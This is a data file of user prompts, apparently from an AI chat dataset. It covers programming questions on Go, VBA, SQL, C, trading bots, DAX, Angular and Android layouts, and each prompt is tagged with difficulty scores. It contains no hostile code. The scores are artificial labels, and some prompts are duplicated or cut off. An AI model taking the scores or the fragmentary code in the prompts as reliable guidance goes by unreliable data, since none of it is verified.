17,615 | in golang, how can I send a mail when a error occurs ? | f2dcb99cd84ac3afda8c1d4633d43d8b | {
"intermediate": 0.7202540636062622,
"beginner": 0.06957924365997314,
"expert": 0.21016663312911987
} |
17,616 | I want to copy an existing sheet to another sheet.
I want to copy the following attributes;
Number Format,
Cell Format,
Cell Colour,
Column Width, etc.
So that the new sheet looks exactly as the original sheet.
What must not be copied across is the cell formulas.
Currently my vba line of code is as shown below.
Can you write me a new line of code that will meet the requirements above.
Please remember, cell formulas must not be copied across.
newSheet.Range("A1").PasteSpecial Paste:=xlPasteValuesAndNumberFormats, Operation:=xlNone, SkipBlanks:=False, Transpose:=False | 0a04ea5fd780bba385206a6e7972dbd0 | {
"intermediate": 0.442956805229187,
"beginner": 0.20750154554843903,
"expert": 0.34954166412353516
} |
17,617 | 以下sql存在语法错误,请帮我改正:
select * from (
(SELECT CEIL(0.2 * count(r_val)) R FROM (
SELECT DISTINCT(last_pay_ago_days) r_val FROM dws_customer_area_rfm_day_snap_td_di
WHERE area_id = 80000033
AND last_pay_ago_days IS NOT NULL
AND last_pay_ago_days > 0
AND snap_date = DATE_ADD(CURRENT_DATE(), INTERVAL -1 DAY)
ORDER BY last_pay_ago_days ASC
) r_data) r join
(SELECT CEIL(0.2 * count(f_val)) F FROM (
SELECT DISTINCT(pay_all_times) f_val FROM dws_customer_area_rfm_day_snap_td_di
WHERE area_id = 80000033
AND pay_all_times IS NOT NULL
AND pay_all_times > 0
AND snap_date = DATE_ADD(CURRENT_DATE(), INTERVAL -1 DAY)
ORDER BY pay_all_times DESC
) f_val) join
(SELECT CEIL(0.2 * count(m_val)) M FROM (
SELECT DISTINCT(pay_amount) m_val FROM dws_customer_area_rfm_day_snap_td_di
WHERE area_id = 80000033
AND pay_amount IS NOT NULL
AND pay_amount > 0
AND snap_date = DATE_ADD(CURRENT_DATE(), INTERVAL -1 DAY)
ORDER BY pay_amount DESC
) m_data) m
) t | c115256ac2592ad47fa8e845b608daad | {
"intermediate": 0.35563382506370544,
"beginner": 0.29745540022850037,
"expert": 0.3469108045101166
} |
17,618 | Many errors in below code, need to correct #include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Function to read the mapping file
void read_mapping_file(char *filename, struct mapping_file *mapping_file) {
FILE *fp = fopen(filename, "r");
if (fp == NULL) {
printf("Error opening file %s\n", filename);
exit(1);
}
char line[100];
while (fgets(line, sizeof(line), fp) != NULL) {
// Split the line into two columns
char *s1 = line;
char *s2 = strchr(line, '|');
if (s2 == NULL) {
printf("Error parsing line %s\n", line);
exit(1);
}
*s2 = '\0';
// Store the columns in the mapping file struct
mapping_file->main_account = atoi(s1);
mapping_file->name = s2 + 1;
}
fclose(fp);
}
// Function to read the employees details file
void read_employees_details_file(char *filename, struct employees_details_file *employees_details_file) {
FILE *fp = fopen(filename, "r");
if (fp == NULL) {
printf("Error opening file %s\n", filename);
exit(1);
}
char line[100];
while (fgets(line, sizeof(line), fp) != NULL) {
// Split the line into three columns
char *s1 = line;
char *s2 = strchr(line, '|');
char *s3 = strchr(line + 1, '|');
if (s2 == NULL || s3 == NULL) {
printf("Error parsing line %s\n", line);
exit(1);
}
*s2 = '\0';
*s3 = '\0';
// Store the columns in the employees details file struct
employees_details_file->personal_number = atoi(s1);
employees_details_file->position = s2 + 1;
employees_details_file->projects = s3 + 1;
}
fclose(fp);
}
// Function to merge the input files
void merge_files(char **input_files, struct mapping_file *mapping_file, struct employees_details_file *employees_details_file, struct merged_file *merged_file) {
int i;
for (i = 0; i < sizeof(input_files) / sizeof(input_files[0]); i++) {
// Read the input file
struct input_file input_file;
read_input_file(input_files[i], &input_file);
// Merge the input file with the merged file
merge_input_file(&input_file, mapping_file, employees_details_file, merged_file);
}
}
// Function to read the input file
void read_input_file(char *filename, struct input_file *input_file) {
FILE *fp = fopen(filename, "r");
if (fp == NULL) {
printf("Error opening file %s\n", filename);
exit(1);
}
char line[100];
fgets(line, sizeof(line), fp);
sscanf(line, "%s %s %s %s", input_file->project_description, input_file->worker_name, input_file->current, input_file->cumulative);
fclose(fp);
}
// Function to merge the input file with the merged file
void merge_input_file(struct input_file *input_file, struct mapping_file *mapping_file, struct employees_details_file *employees_details_file, struct merged_file *merged_file) {
// Find the matching record in the mapping file
struct mapping_file *mapping_file_record = find_mapping_file_record(mapping_file, | de5a0556e922f7558d48016b305bb624 | {
"intermediate": 0.4924166202545166,
"beginner": 0.31501543521881104,
"expert": 0.19256795942783356
} |
17,619 | In JavaScript (and Vue.js), does the variable in const { variable } = someFunction() mean someFunction returns an object which has a variable named "variable"? | 64f78f8e7daa4b75ac1f313e16989887 | {
"intermediate": 0.2563902735710144,
"beginner": 0.6865875124931335,
"expert": 0.05702225863933563
} |
17,620 | In visual studio code terminal, how to change the string: PS C:\Users\Dell\Desktop\Desktop Files\ERP\C C++> cd "c:\Users\Dell\Desktop\Desktop Files\ERP\C C++\" ; if ($?) { .\gcc testmerge.c -o testmerge } ; if ($?) { .\testmerge } | 75c0684741944d6cc9b117b04f2c2187 | {
"intermediate": 0.46280813217163086,
"beginner": 0.3496397137641907,
"expert": 0.18755222856998444
} |
17,621 | In Visual studio code how to edit and save the run string "PS C:\Users\Dell\Desktop\Desktop Files\ERP\C C++> cd "c:\Users\Dell\Desktop\Desktop Files\ERP\C C++\" ; if ($?) { .\gcc testmerge.c -o testmerge } ; if ($?) { .\testmerge }" | 00658644e9f09785f689a673437a7e74 | {
"intermediate": 0.46241864562034607,
"beginner": 0.33962467312812805,
"expert": 0.1979566216468811
} |
17,622 | I used your code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signals = []
signal = []
# Retrieve depth data
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if buy_qty > sell_qty:
signals.append('Bullish')
elif sell_qty > buy_qty:
signals.append('Bearish')
if 'Bullish' in signals and buy_price > mark_price:
signal.append('buy')
elif 'Bearish' in signals and sell_price < mark_price:
signal.append('sell')
else:
return ''
return signal
But it doesn't give me signal to sell , and I was need to take loss | d9b7800a791c27d25248aed29359eac8 | {
"intermediate": 0.4399040639400482,
"beginner": 0.2961960732936859,
"expert": 0.2638998329639435
} |
17,623 | i have two arrows up and down ,i want to make them scroll up and down to scroll between images | b8c094e8f443e46119612cc8f248352f | {
"intermediate": 0.3802199363708496,
"beginner": 0.22158285975456238,
"expert": 0.3981972634792328
} |
17,624 | how to make share icon scenarion in our angular project on product | 1f6e9b40a725379ba4babc95aa0af98e | {
"intermediate": 0.48668330907821655,
"beginner": 0.27720046043395996,
"expert": 0.23611626029014587
} |
17,625 | Within Mininet, create the following topology. Here h1 is a remote server (ie google.com) on
the Internet that has a fast connection (1Gb/s) to your home router with a slow downlink
connection (10Mb/s). The round-trip propagation delay, or the minimum RTT between h1
and h2 is 6ms. The router buffer size can hold 100 full sized ethernet frames (about 150kB
with an MTU of 1500 bytes). | 23bd41742cabde3f4cca309f871877a1 | {
"intermediate": 0.3524312376976013,
"beginner": 0.2638145685195923,
"expert": 0.3837542235851288
} |
17,626 | можно ли использовать style из css файла, не прописывая его явно в код?
<tfoot>
<style>
@media print {
.ui-btn,
.ui-btn--light {
display: none;
}
}
</style>
<tr>
<td colspan="2">
<div class="row">
<div class="col-xl-auto">
<a class="ui-btn ui-btn--primary ui-btn--fullwidth"
href="#"
data-ripple>Распечатать</a>
</div>
<div class="col-xl-auto">
<a href="${backUrl}"
class="ui-btn ui-btn--light ui-btn--fullwidth"
data-ripple>Перевести
еще раз</a>
</div>
</div>
</td>
</tr>
</tfoot> | 6ebc7ed781be08ef055cf67082322861 | {
"intermediate": 0.3396190106868744,
"beginner": 0.4670916497707367,
"expert": 0.19328930974006653
} |
17,627 | There are columns Date, Payer, SKU, A, B, C, Q1, Q2. Add calculated column ROI = (A-B)/C for each unique combination of Payer, SKU, month and year component of Date. Use DAX expressions | d43f5d01035f43f5b180d24df725a4f3 | {
"intermediate": 0.36614516377449036,
"beginner": 0.23359492421150208,
"expert": 0.4002598822116852
} |
17,628 | How to check whether the value is infinity, -infinity, or not a number using DAX formula? | 7fd17570aacf9f03829c135b3cbb9cb2 | {
"intermediate": 0.30080342292785645,
"beginner": 0.16164231300354004,
"expert": 0.5375542044639587
} |
17,629 | I generate n integer values in interval [0, m]. How can I know the number of times I generate each possible value in the interval? | a2cfb04bf829f9f4ffdcee092cf9fc2f | {
"intermediate": 0.3954800069332123,
"beginner": 0.17664581537246704,
"expert": 0.4278741180896759
} |
17,630 | act like a professional programmer and teach me how i can login to gmail with python code | 3aa32956dbd99fe0da053eede06000dd | {
"intermediate": 0.5599310398101807,
"beginner": 0.1694849729537964,
"expert": 0.2705839276313782
} |
17,631 | how to print hello in ph | 756892618630a87e45431331daad14ca | {
"intermediate": 0.35749584436416626,
"beginner": 0.3462609052658081,
"expert": 0.29624322056770325
} |
17,632 | act like a professional programmer and teach me how i can login to gmail with python code using authorized apis, and try to login on tiktok with gmail | b7a4c610e81f8f0ae0e0cb6e853a5d7a | {
"intermediate": 0.6497410535812378,
"beginner": 0.10374946147203445,
"expert": 0.24650949239730835
} |
17,633 | I used your code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signals = []
signal = []
# Retrieve depth data
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if buy_qty > sell_qty:
signals.append('Bullish')
elif sell_qty > buy_qty:
signals.append('Bearish')
if 'Bullish' in signals and buy_price > mark_price:
signal.append('buy')
elif 'Bearish' in signals and sell_price < mark_price:
signal.append('sell')
else:
return ''
return signal
But it doesn't give me any sell signals | e48e8de6d64563305bc632bce31d5e5c | {
"intermediate": 0.3558110296726227,
"beginner": 0.3537158668041229,
"expert": 0.2904731035232544
} |
17,634 | How to delete rows following the specified condition from the calculated table using DAX expression. | 8f080a1c61b81b8882fac741955c3f29 | {
"intermediate": 0.3459209203720093,
"beginner": 0.17022769153118134,
"expert": 0.48385146260261536
} |
17,635 | opencart 3.0.2, I want to add a new process when the order status has been changed to complete. | d6a2c123227a0e73e190499e7489f83d | {
"intermediate": 0.4265303909778595,
"beginner": 0.2006143182516098,
"expert": 0.3728553354740143
} |
17,636 | read 1 sector from fat32 usb generic flash drive without bios functions? | 171034a928e206a7d2c7e5c5768c4e72 | {
"intermediate": 0.3089785873889923,
"beginner": 0.4261755049228668,
"expert": 0.2648458480834961
} |
17,637 | dataGridView1.Columns[""].dasizeMode = fillrect; | 263923e37af814bbab39c0417085fec5 | {
"intermediate": 0.387941837310791,
"beginner": 0.23142507672309875,
"expert": 0.38063305616378784
} |
17,638 | Create a class Smoothie and do the following:
Create a property called Ingredients.
Create a GetCost method which calculates the total cost of the ingredients used to make the smoothie.
Create a GetPrice method which returns the number from GetCost plus the number from GetCost multiplied by 1.5. Round to two decimal places.
Create a GetName method which gets the ingredients and puts them in alphabetical order into a nice descriptive sentence. If there are multiple ingredients, add the word "Fusion" to the end but otherwise, add "Smoothie". Remember to change "-berries" to "-berry". See the examples below.
|Ingredient |Price
|Strawberries|£1.50 |Banana |£0.50 |Mango |£2.50 |Blueberries |£1.00 |Raspberries |£1.00 |Apple |£1.75 |Pineapple |£3.50
s1 = Smoothie(new string[] { "Banana" })
s1.Ingredients ➞ { "Banana" }
s1.GetCost() ➞ "£0.50"
s1.GetPrice() ➞ "£1.25"
s1.GetName() ➞ "Banana Smoothie"
s2 = Smoothie(new string[] { "Raspberries", "Strawberries", "Blueberries" })
s2.ingredients ➞ { "Raspberries", "Strawberries", "Blueberries" }
s2.GetCost() ➞ "£3.50"
s2.GetPrice() ➞ "£8.75"
s2.GetName() ➞ "Blueberry Raspberry Strawberry Fusion" Please do this with C# code. | 4cc473cf3ad1eade149f96ac17f590b3 | {
"intermediate": 0.3016103208065033,
"beginner": 0.44719812273979187,
"expert": 0.25119155645370483
} |
17,639 | print("x y z w")
for x in range(2):
for y in range(2):
for w in range(2):
for z in range(2):
if (x or (not(y) or ((not (z)) and w)) ==0:
print(x,y,z,w) | c36fb99dc56b05a07f38d08f1d5c57bd | {
"intermediate": 0.12289439141750336,
"beginner": 0.7818257212638855,
"expert": 0.0952800065279007
} |
17,640 | const parseProfitData = (profitData: Record<string, string | number>): ProfitChartWidgetType[] => {
const result: ProfitChartWidgetType[] = [];
for (const date in profitData) {
if (Object.hasOwnProperty.call(profitData, date)) {
result.push({
date: date,
profit: typeof profitData[date] === "number" ? profitData[date] : parseFloat(profitData[date] as string),
});
}
}
return result;
};
setProfitData(parseProfitData(data)); //{ [key: string]: string | number}
сначала нужно отсортировать по дате dayjs, потом уже делать остальное | 1b93178bfdfc00c165e0209690b7d255 | {
"intermediate": 0.432659387588501,
"beginner": 0.33147338032722473,
"expert": 0.23586724698543549
} |
17,641 | const parseProfitData = (profitData: Record<string, string | number>): ProfitChartWidgetType[] => {
const result: ProfitChartWidgetType[] = [];
for (const date in profitData) {
if (Object.hasOwnProperty.call(profitData, date)) {
result.push({
date: date,
profit: typeof profitData[date] === “number” ? profitData[date] : parseFloat(profitData[date] as string),
});
}
}
return result;
};
setProfitData(parseProfitData(data)); //{ [key: string]: string | number}
сначала нужно отсортировать по дате dayjs, потом уже делать остальное | 4fce2459a85ceb04bddc335ea6ea2567 | {
"intermediate": 0.4423453211784363,
"beginner": 0.33646610379219055,
"expert": 0.22118863463401794
} |
17,642 | take the value from selected checkbox angular and send to function | 056596eae91adb4553f873a2cf8130d0 | {
"intermediate": 0.3649579584598541,
"beginner": 0.34141668677330017,
"expert": 0.2936253547668457
} |
17,643 | hi | 1d0e5153108dc2382b432769363e5327 | {
"intermediate": 0.3246487081050873,
"beginner": 0.27135494351387024,
"expert": 0.40399640798568726
} |
17,644 | on python, i need a listener and message code for skype with skpy | 7ce18cadcf76ffbea1ad272a65de34e2 | {
"intermediate": 0.5566560626029968,
"beginner": 0.19747516512870789,
"expert": 0.2458687722682953
} |
17,645 | Добавь иконку стрелочки справа от жанров , стрелочка уже создана baseline_keyboard_arrow_right_24.xml: <ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".main_Fragments.Home_Fragment.HomeFragment">
<androidx.constraintlayout.widget.ConstraintLayout
android:layout_width="match_parent"
android:layout_height="wrap_content">
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/sliderRecyclerView"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:clipToPadding="true"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toTopOf="parent"
tools:ignore="MissingConstraints" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginBottom="5dp"
android:paddingStart="15dp"
android:text="Лучшее на сайте"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/CustomRecycleView"
app:layout_constraintTop_toBottomOf="@+id/sliderRecyclerView"
tools:ignore="MissingConstraints"
tools:layout_editor_absoluteX="0dp" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/first_type_recycleView"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="268dp"
android:clipToPadding="false"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toBottomOf="@+id/sliderRecyclerView"
tools:layout_editor_absoluteX="0dp" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="8dp"
android:paddingStart="15dp"
android:text="Драма"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView"
app:layout_constraintTop_toBottomOf="@+id/CustomRecycleView"
tools:ignore="MissingConstraints" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/CustomRecycleView"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="32dp"
android:clipToPadding="true"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toBottomOf="@+id/sliderRecyclerView"
tools:layout_editor_absoluteX="0dp" />
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="4dp"
android:paddingStart="15dp"
android:text="Боевик"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView_2"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:ignore="MissingConstraints" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/first_type_recycleView_2"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:clipToPadding="false"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:layout_editor_absoluteX="16dp" />
<FrameLayout
android:id="@+id/frameLayout"
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView_2"
tools:layout_editor_absoluteX="0dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="4dp"
android:paddingStart="15dp"
android:text="Комедия"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView_2"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:ignore="MissingConstraints" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/first_type_recycleView_3"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:clipToPadding="false"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:layout_editor_absoluteX="16dp" />
</FrameLayout>
<FrameLayout
android:id="@+id/frameLayout_2"
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:layout_constraintTop_toBottomOf="@+id/frameLayout">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="4dp"
android:paddingStart="15dp"
android:text="Ужасы"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView_2"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:ignore="MissingConstraints" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/first_type_recycleView_4"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:clipToPadding="false"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:layout_editor_absoluteX="16dp" />
</FrameLayout>
<FrameLayout
android:id="@+id/frameLayout_3"
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:layout_constraintTop_toBottomOf="@+id/frameLayout_2">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="4dp"
android:paddingStart="15dp"
android:text="Научная фантастика"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView_2"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:ignore="MissingConstraints" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/first_type_recycleView_5"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:clipToPadding="false"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:layout_editor_absoluteX="16dp" />
</FrameLayout>
<FrameLayout
android:id="@+id/frameLayout_4"
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:layout_constraintTop_toBottomOf="@+id/frameLayout_3">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="4dp"
android:paddingStart="15dp"
android:text="Мультфильмы"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView_2"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:ignore="MissingConstraints" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/first_type_recycleView_6"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:clipToPadding="false"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:layout_editor_absoluteX="16dp" />
</FrameLayout>
<FrameLayout
android:id="@+id/frameLayout_5"
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:layout_constraintTop_toBottomOf="@+id/frameLayout_4">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="4dp"
android:paddingStart="15dp"
android:text="Приключения"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView_2"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:ignore="MissingConstraints" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/first_type_recycleView_7"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:clipToPadding="false"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:layout_editor_absoluteX="16dp" />
</FrameLayout>
<FrameLayout
android:id="@+id/frameLayout_6"
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:layout_constraintTop_toBottomOf="@+id/frameLayout_5">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="4dp"
android:paddingStart="15dp"
android:text="Аниме"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView_2"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:ignore="MissingConstraints" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/first_type_recycleView_8"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:clipToPadding="false"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:layout_editor_absoluteX="16dp" />
</FrameLayout>
<FrameLayout
android:id="@+id/frameLayout_7"
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:layout_constraintTop_toBottomOf="@+id/frameLayout_6">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="4dp"
android:paddingStart="15dp"
android:text="Детектив"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView_2"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:ignore="MissingConstraints" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/first_type_recycleView_9"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:clipToPadding="false"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:layout_editor_absoluteX="16dp" />
</FrameLayout>
<FrameLayout
android:id="@+id/frameLayout_8"
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:layout_constraintTop_toBottomOf="@+id/frameLayout_7">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="4dp"
android:paddingStart="15dp"
android:text="Семейное"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView_2"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:ignore="MissingConstraints" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/first_type_recycleView_10"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:clipToPadding="false"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:layout_editor_absoluteX="16dp" />
</FrameLayout>
<FrameLayout
android:id="@+id/frameLayout_9"
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:layout_constraintTop_toBottomOf="@+id/frameLayout_8">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="4dp"
android:paddingStart="15dp"
android:text="Историческое"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView_2"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:ignore="MissingConstraints" />
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/first_type_recycleView_11"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:clipToPadding="false"
android:paddingStart="8dp"
android:paddingEnd="8dp"
app:layout_constraintTop_toBottomOf="@+id/first_type_recycleView"
tools:layout_editor_absoluteX="16dp" />
</FrameLayout>
</androidx.constraintlayout.widget.ConstraintLayout>
</ScrollView> | 0722f01ca48975508ad6a3480bcf41c5 | {
"intermediate": 0.23073962330818176,
"beginner": 0.4916643798351288,
"expert": 0.27759599685668945
} |
17,646 | I have list of options in TS file, I want to show it as checkboxses using ngFor and when i select one of them and click on button show result , the results appear depend on this selection angular | 7a5399eac045151db5b0c6f31f524b2d | {
"intermediate": 0.3602582812309265,
"beginner": 0.24778907001018524,
"expert": 0.39195263385772705
} |
17,647 | Добавь иконку стрелочки справа от жанров , стрелочка уже создана baseline_keyboard_arrow_right_24.xml , так же слева от стрелочки добавь надпись "Больше": <ScrollView xmlns:android=“http://schemas.android.com/apk/res/android”
xmlns:app=“http://schemas.android.com/apk/res-auto”
xmlns:tools=“http://schemas.android.com/tools”
android:layout_width=“match_parent”
android:layout_height=“match_parent”
tools:context=“.main_Fragments.Home_Fragment.HomeFragment”>
<androidx.constraintlayout.widget.ConstraintLayout
android:layout_width=“match_parent”
android:layout_height=“wrap_content”>
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/sliderRecyclerView”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:clipToPadding=“true”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toTopOf=“parent”
tools:ignore=“MissingConstraints” />
<TextView
android:layout_width=“wrap_content”
android:layout_height=“wrap_content”
android:layout_marginBottom=“5dp”
android:paddingStart=“15dp”
android:text=“Лучшее на сайте”
android:textColor=“@color/silver”
android:textSize=“19sp”
android:textStyle=“bold”
app:layout_constraintBottom_toTopOf=“@+id/CustomRecycleView”
app:layout_constraintTop_toBottomOf=“@+id/sliderRecyclerView”
tools:ignore=“MissingConstraints”
tools:layout_editor_absoluteX=“0dp” />
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/first_type_recycleView”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“268dp”
android:clipToPadding=“false”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toBottomOf=“@+id/sliderRecyclerView”
tools:layout_editor_absoluteX=“0dp” />
<TextView
android:layout_width=“wrap_content”
android:layout_height=“wrap_content”
android:layout_marginTop=“8dp”
android:paddingStart=“15dp”
android:text=“Драма”
android:textColor=“@color/silver”
android:textSize=“19sp”
android:textStyle=“bold”
app:layout_constraintBottom_toTopOf=“@+id/first_type_recycleView”
app:layout_constraintTop_toBottomOf=“@+id/CustomRecycleView”
tools:ignore=“MissingConstraints” />
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/CustomRecycleView”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“32dp”
android:clipToPadding=“true”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toBottomOf=“@+id/sliderRecyclerView”
tools:layout_editor_absoluteX=“0dp” />
<TextView
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“4dp”
android:paddingStart=“15dp”
android:text=“Боевик”
android:textColor=“@color/silver”
android:textSize=“19sp”
android:textStyle=“bold”
app:layout_constraintBottom_toTopOf=“@+id/first_type_recycleView_2”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:ignore=“MissingConstraints” />
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/first_type_recycleView_2”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“24dp”
android:clipToPadding=“false”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:layout_editor_absoluteX=“16dp” />
<FrameLayout
android:id=“@+id/frameLayout”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView_2”
tools:layout_editor_absoluteX=“0dp”>
<TextView
android:layout_width=“wrap_content”
android:layout_height=“wrap_content”
android:layout_marginTop=“4dp”
android:paddingStart=“15dp”
android:text=“Комедия”
